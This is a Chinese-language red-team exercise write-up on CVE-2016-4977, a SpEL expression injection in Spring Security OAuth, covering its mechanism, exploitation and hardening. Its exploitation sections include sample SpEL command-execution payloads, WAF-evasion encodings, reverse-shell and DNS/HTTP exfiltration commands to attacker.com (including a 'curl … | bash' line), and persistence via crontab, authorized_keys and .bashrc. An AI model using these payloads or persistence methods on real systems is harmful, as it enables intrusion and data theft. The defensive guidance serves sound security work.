1. 项目概述一次真实的内部红队演练复盘那次内部红队演练我们团队的目标是模拟一个具备一定安全基线、使用了主流技术栈的Web应用系统。目标系统对外提供API服务并使用了Spring Security OAuth 2.0框架进行授权保护。在常规的端口扫描、目录枚举和框架指纹识别后一个熟悉的CVE编号进入了我们的视野CVE-2016-4977。这个漏洞虽然年代稍远2016年披露但在一些历史项目、未及时更新的内部系统甚至是一些对安全更新不敏感的边缘业务中依然有较高的出现概率。演练的核心目的就是验证这类“已知但未修复”的高危漏洞在真实的、有防护的环境下是否依然具备可利用性以及防守方的检测与响应机制是否有效。简单来说CVE-2016-4977是Spring Security OAuth 2.0框架中的一个远程命令执行漏洞。攻击者可以构造一个恶意的授权确认请求利用服务端对重定向URL参数中“${}”表达式的递归解析特性最终在服务器上执行任意系统命令。这个漏洞的危险性在于它位于OAuth2授权流程的核心环节——通常被认为是受信任的服务器端逻辑因此很多WAFWeb应用防火墙或安全监控规则可能不会对这一路径的请求进行深度检测或拦截。对于红队而言这就像找到了一扇隐藏在认证大门后面的侧窗。本文将从那次实战演练的视角出发不仅复现漏洞利用的完整链条更会重点探讨在当今普遍部署了WAF、HIDS主机入侵检测系统等防护措施的环境下如何对利用方式进行“变形”以尝试绕过防御并最终从防御者角度给出除了简单升级之外的深度加固建议。无论你是安全工程师、开发人员还是对攻防实战感兴趣的研究者都能从中获得关于漏洞原理、实战利用和攻防对抗的第一手经验。2. 漏洞原理深度剖析表达式注入的来龙去脉要理解这个漏洞的威力必须先弄明白Spring框架的两个特性OAuth2的授权确认流程和Spring Expression Language。2.1 Spring Security OAuth2 的授权端点与参数处理在OAuth 2.0的授权码模式中有一个关键的交互点用户同意授权。当资源所有者用户在授权服务器上同意客户端的授权请求后授权服务器会将用户重定向回客户端事先注册的重定向URI并附上授权码。在Spring Security OAuth的实现中处理用户同意提交的端点比如/oauth/authorize的POST请求会接收一系列参数其中就包括redirect_uri。问题就出在对redirect_uri参数的校验和处理逻辑上。为了提供灵活性Spring允许在redirect_uri中预先定义一些占位符例如{scheme}://{serverName}:{serverPort}/callback。服务器在处理时会将这些占位符替换为实际的值。这个本意为增强功能的设计在实现时出现了安全纰漏。2.2 Spring Expression Language 与递归解析Spring Expression Language是一种强大的表达式语言它允许在运行时查询和操作对象图语法类似于#{...}或${...}。在Spring的属性配置中${property.name}常用于引用外部属性值。某些情况下为了支持动态解析框架会调用SpelExpressionParser对字符串进行解析。在受影响的Spring Security OAuth版本中负责处理redirect_uri的代码具体在RedirectResolver的实现中存在缺陷。当它尝试解析redirect_uri中的占位符时没有对输入内容进行充分的过滤和限制。攻击者可以在redirect_uri参数中嵌入${...}形式的表达式。更致命的是这里存在一个递归解析的过程。框架首先会尝试解析最外层的${}。如果解析后的结果中再次包含${}框架会继续解析这个新出现的表达式。这就为攻击者提供了一个“沙箱逃逸”的机会我们可以构造一个表达式其解析结果是一个新的、更危险的表达式。2.3 从表达式注入到命令执行单纯的表达式解析还不足以执行命令。关键在于如何将SpEL表达式与能够执行系统命令的Java类关联起来。SpEL支持一种称为“类型引用”的功能格式为T(java.lang.Runtime)。通过这种方式可以在表达式中访问Java类的静态方法和属性。经典的利用链如下攻击者构造一个redirect_uri其值为http://evil.com/${233*233}。漏洞代码对其进行解析计算233*233得到54289然后尝试将整个字符串作为重定向地址。但此时可能因域名不匹配而校验失败。为了绕过校验攻击者需要让第一次解析的结果依然是一个合法的、指向客户端注册地址的redirect_uri格式但其中嵌套了第二层恶意表达式。这需要利用到URL编码和SpEL特性进行精心构造。最终一个能够实现命令执行的Payload可能看起来像这样经过简化${T(java.lang.Runtime).getRuntime().exec(calc.exe)}。当这个表达式被递归解析并执行时就会启动计算器程序。在实际利用中由于空格、括号等字符在HTTP请求中需要处理并且要绕过可能的字符串过滤Payload会复杂得多通常需要借助URL编码和SpEL的字符串拼接技巧。注意以上Payload仅为原理演示。在真实受影响的版本中由于默认的SpEL解析上下文限制直接使用T(Runtime).getRuntime().exec()可能无法工作。实战中需要利用Spring环境中已有的、可访问的类作为“跳板”例如通过T(org.springframework.util.StreamUtils).copy等方式来间接执行命令这也是漏洞利用技巧的一部分。3. 实战利用过程全解析在演练中我们面对的系统并非一个裸奔的漏洞环境而是部署在Tomcat上、前面可能有Nginx反向代理、并且启用了基础WAF规则的生产-like环境。因此我们的利用过程需要更精细。3.1 环境探测与漏洞指纹识别首先我们需要确认目标是否存在漏洞。这不仅仅是发现一个Spring OAuth2端点那么简单。框架识别通过访问/oauth/token、/oauth/authorize等端点观察HTTP响应头如Server、X-Application-Context、错误页面特征以及URL路径模式可以初步判断是否使用了Spring Security OAuth。版本锁定通过构造一个简单的探测Payload来验证漏洞是否存在。我们不会直接使用危险的命令执行Payload而是使用一个无副作用的表达式来测试。例如在redirect_uri参数中尝试注入${7*7}。如果响应中可能在错误信息、跳转地址中出现了49这个计算结果那么基本可以断定存在表达式注入漏洞并且版本在受影响范围内Spring Security OAuth 2.0.0至2.0.9以及1.0.0至1.0.5。上下文评估观察错误信息尝试判断SpEL解析的执行上下文。例如错误信息中是否暴露了类路径、Bean名称这有助于我们构思后续可用的利用链判断哪些Java类是可访问的。3.2 构造绕过WAF的恶意请求直接提交包含${T(Runtime).getRuntime().exec(bash -c ...)}的请求几乎肯定会被现代WAF拦截。我们需要对Payload进行混淆和变形。大小写与编码混淆WAF规则可能匹配Runtime、exec等关键字。我们可以尝试使用大小写变种如RUNTIME、rUnTiMeSpEL在某些上下文下不区分大小写需要测试或者使用Unicode编码。对整个参数值或关键部分进行多次URL编码。例如将{编码为%7B$编码为%24。有些WAF只做一次解码而应用服务器可能会进行多次解码。使用双重编码技巧将${编码为%25%37%42%25%32%34即先编码为%7B%24再对%号本身编码为%25。这能绕过一些简单的字符串匹配规则。字符串拆分与拼接避免在Payload中出现完整的敏感字符串。利用SpEL的字符串拼接功能。例如calc.exe可以写成calc.concat(.exe)或者c a l c .exe。将类名拆分开。java.lang.Runtime可以尝试用.class.forName(java.lang.Runtime)的方式动态获取但这取决于上下文权限。利用环境属性与反射如果直接命令执行被禁可以尝试先进行信息收集。例如使用${environment[java.home]}来获取Java安装路径或者${systemProperties[os.name]}获取操作系统信息这有助于我们定制后续的Payload。通过SpEL的T()和反射方法可以访问到ProcessBuilder类这提供了另一种执行命令的途径有时能绕过对Runtime.exec的检测。参数放置位置漏洞参数是redirect_uri但不要只盯着POST请求体。尝试将Payload放在URL查询参数中GET请求或者同时放在查询参数和请求体中观察服务器的处理优先级。有时WAF只检查请求体而应用逻辑却会从查询参数中读取值。尝试使用不同的参数名。历史上有些漏洞的触发点可能不止一个参数可以尝试redirect_uri、redirect、target等变体。在我们的演练中最终成功绕过WAF的Payload是一个经过多重编码和字符串拼接的变体它先通过一个无害的表达式获取到applicationContext对象再通过这个对象访问到ResourceLoader最终利用其加载一个特定URL资源的行为触发了底层命令执行。这个过程非常曲折但体现了绕过防御所需的耐心和技巧。3.3 命令执行与权限维持一旦命令执行成功我们获得的往往是一个Web容器进程权限如Tomcat的tomcat或www-data用户。接下来的目标是提升权限、建立持久化通道和横向移动。回连方式选择反向Shell最常用。但bash -i /dev/tcp/...这种经典命令容易被主机入侵检测系统HIDS基于行为特征检测到。我们倾向于使用更隐蔽的方式例如使用python、perl、php甚至java来建立socket连接。如果目标环境限制严格可以尝试编码后的命令或分块执行。DNS外带在命令执行受限、无法建立TCP反向连接时使用nslookup、dig或ping将命令执行结果带到DNS查询中是很好的数据外传方法。例如curl http://attacker.com/可以改为ping -c 1whoami.attacker.domain.com我们在自己的DNS服务器上就能看到whoami的结果。HTTP外带使用curl、wget将执行结果作为URL参数或POST数据发送到我们控制的服务器。这需要目标系统出网策略允许访问外部HTTP服务。权限提升探索立即检查当前用户权限id、whoami、sudo权限sudo -l、SUID文件find / -perm -us -type f 2/dev/null和操作系统版本/内核信息寻找本地提权漏洞。在Java环境中特别注意查找敏感的配置文件如/etc/passwd、/shadow、数据库连接配置文件、云服务元数据端点http://169.254.169.254/等这些可能包含更高权限的凭据。隐蔽与持久化避免在Web根目录下放置明显的Webshell。可以考虑在临时目录、缓存目录或用户家目录下放置伪装成正常文件的JSP或JSPX木马。利用计划任务crontab、系统服务systemd、启动项rc.local或~/.ssh/authorized_keys等方式建立持久化后门。在Linux下向~/.bashrc或~/.profile注入恶意命令也是一种隐蔽的方法当用户登录时会触发。所有操作应尽可能模拟正常流量和系统行为避免短时间内产生大量进程、网络连接或文件操作以规避基于异常行为的检测。4. 防御绕过技巧与对抗思路红队演练的价值在于发现防御体系的盲点。针对CVE-2016-4977这类漏洞的防御防守方通常会有多层措施。以下是我们在演练中尝试并总结的绕过思路以及相应的防御强化建议。4.1 针对规则型WAF的绕过绕过技巧变异Payload如前所述使用编码、拼接、大小写、插入无关字符如/*注释*/等方式使Payload不匹配WAF的正则表达式规则库。分块传输利用HTTP协议的分块传输编码将恶意Payload拆分成多个数据块发送。有些WAF可能无法有效重组和检查分块请求体。协议层混淆将POST请求改为GET或将参数放在Cookie头、自定义HTTP头中如果应用逻辑异常地也从这些位置读取redirect_uri参数而WAF未检查这些位置则可能绕过。慢速攻击以极慢的速度发送HTTP请求每个数据包间隔很长可能绕过一些基于请求速率或超时机制的检测模块。防御强化深度解析与规范化WAF应具备对请求进行多层URL解码、HTML实体解码、Unicode解码的能力并在规范化后的内容上进行规则匹配。语义分析不仅依赖关键字匹配应结合语法分析识别出“类方法调用”、“字符串拼接”等SpEL表达式的结构特征。学习模式在安全环境中部署蜜罐收集攻击Payload动态更新规则库。对WAF设置告警模式而非仅拦截模式发现可疑变形时即使不阻断也记录日志供安全人员分析。4.2 针对运行时应用自保护的绕过绕过技巧寻找替代执行链如果Runtime.exec被黑名单禁止尝试ProcessBuilder、ScriptEngineManager执行JavaScript、Groovy、GroovyShell或者通过反射调用getMethod(exec)。利用应用已有Bean深入研究暴露的错误信息寻找应用上下文中已存在的、功能强大的Bean。例如如果存在RestTemplateBean可以尝试用它发起内部或外部网络请求达到类似SSRF的效果进而攻击内网其他服务。文件写入替代命令执行如果命令执行被严格限制可以尝试利用表达式注入向Web目录写入一个JSP文件需要知道绝对路径例如通过FileOutputStream或Files.write。写入成功后通过访问该JSP文件来获得Webshell间接实现代码执行。防御强化最小化SpEL上下文在Spring配置中严格限制SpEL表达式的解析上下文移除不必要的根对象和函数。使用StandardEvaluationContext替换为更安全的SimpleEvaluationContextSpring 4.3后者默认不支持类型引用(T())和Bean引用()。自定义属性编辑器与验证器对于redirect_uri这类关键参数实现自定义的、严格的验证逻辑。不仅校验格式是否匹配预注册的URI还应彻底禁止其中包含任何${、#{等表达式起始符。应用层WAF/RASP部署运行时应用自我保护产品。RASP能深入应用内部在SpelExpressionParser.parseExpression()等关键函数被调用时进行钩子检测直接分析待解析的字符串是否包含恶意指令无论其如何变形从执行源头进行阻断。4.3 针对主机与网络层监控的绕过绕过技巧无文件落地尽量避免在磁盘上写入文件。所有Payload通过内存加载和执行。例如使用Java反射直接定义并加载一个恶意类字节码。生活化命令执行命令时使用看起来正常的系统命令进行组合。例如不用wget下载木马而用curl -s http://attacker.com/tool.sh | bash -这种管道方式或者将命令拆分成多个看似无害的步骤。加密通信反向Shell或数据外传时使用SSL/TLS加密通信流量使其看起来像正常的HTTPS流量。或者使用DNS-over-HTTPS等隐蔽通道。时间维度分散将渗透步骤拉长操作之间间隔数小时甚至数天避免在短时间内产生密集的异常日志从而融入正常的“背景噪音”。防御强化行为基线监控HIDS不应只监控特定命令而应建立进程行为基线。例如一个Tomcat Java进程突然派生了一个bash或sh子进程这就是高可疑行为。监控进程树关系异常。网络出站白名单严格限制服务器特别是应用服务器的出站网络连接。只允许访问必要的内部服务如数据库、缓存和少数可信的外部API地址。阻断所有向未知外部IP的主动连接这能有效遏制反向Shell和数据外泄。全链路日志关联将WAF访问日志、应用错误日志、HIDS进程审计日志、网络流量日志进行集中收集和关联分析。单一层面的可疑行为可能被忽略但多层日志同时出现异常如WAF检测到可疑请求、应用日志抛出SpEL解析异常、随后主机上出现可疑子进程就能构成高置信度的攻击告警。5. 根治与防御从升级到架构安全修复CVE-2016-4977最直接的方法是升级Spring Security OAuth到安全版本2.0.10 或 1.0.6。但真正的安全防御远不止于此。5.1 立即修补与漏洞管理精准升级检查项目pom.xml或build.gradle中spring-security-oauth2的版本。直接升级至最新稳定版。注意此漏洞存在于spring-security-oauth2这个独立项目中。如果你的项目使用的是后来整合进Spring Security主项目的OAuth2支持Spring Security 5.x则不受此特定漏洞影响但仍需关注其他安全问题。依赖扫描使用OWASP Dependency-Check、Snyk、GitHub Dependabot等工具将依赖项漏洞扫描集成到CI/CD流水线中实现自动化的漏洞发现和告警。临时缓解措施如果因兼容性问题无法立即升级可以考虑编写一个自定义的RedirectResolver实现在解析redirect_uri前对其进行严格的字符串检查坚决拒绝任何包含${、#{、T(、new等字符的输入。这是一个高风险的操作必须经过充分测试。5.2 安全开发实践输入验证与净化对所有用户输入包括URL参数、HTTP头、Cookie、表单字段进行严格的“白名单”验证。对于redirect_uri应严格匹配预注册的URI模式不允许任何动态部分除非有明确的业务需求和安全设计。禁用危险功能在Spring配置中明确禁用不必要的SpEL功能。如果业务不需要表达式语言支持就彻底关闭它。如果需要务必使用SimpleEvaluationContext。最小权限原则运行Java应用的操作系统用户应使用非root、低权限的专用账户。确保该账户对文件系统只有最小必要写入权限通常只有日志目录和临时目录。5.3 纵深防御体系构建网络分层隔离将授权服务器AS与资源服务器RS分离部署在不同的网络区域。授权服务器不应直接暴露在互联网应通过API网关进行访问。应用服务器运行OAuth客户端与后端服务之间的通信也应放在内部网络。全面的监控与告警应用日志确保应用记录了所有对/oauth/authorize等端点的访问包括完整的请求参数。监控日志中是否出现SpEL解析错误、RedirectMismatchException异常频率升高等情况。安全设备日志集中分析WAF、IDS/IPS的拦截和告警日志。主机监控监控服务器上是否由Java进程发起了异常的子进程如sh、bash、curl、wget、python等。定期红蓝对抗像我们经历的这次演练一样定期组织内部或聘请外部的红队进行模拟攻击。这能最有效地检验现有防御措施的有效性发现安全监控的盲区并推动安全闭环的改进。那次内部演练最终以我们成功获取目标服务器权限并留下“到此一游”的标记而告终但也触发了防守方升级的告警系统。复盘会上防守团队根据我们攻击链中暴露的日志缺失、WAF规则被绕过、主机监控响应慢等问题制定了详细的加固方案。对于开发和安全运维而言漏洞本身并不可怕可怕的是对已知风险的无知和懈怠。CVE-2016-4977是一个绝佳的样本它告诉我们安全是一个持续对抗和演进的过程需要将安全思维嵌入到设计、开发、部署和运营的每一个环节。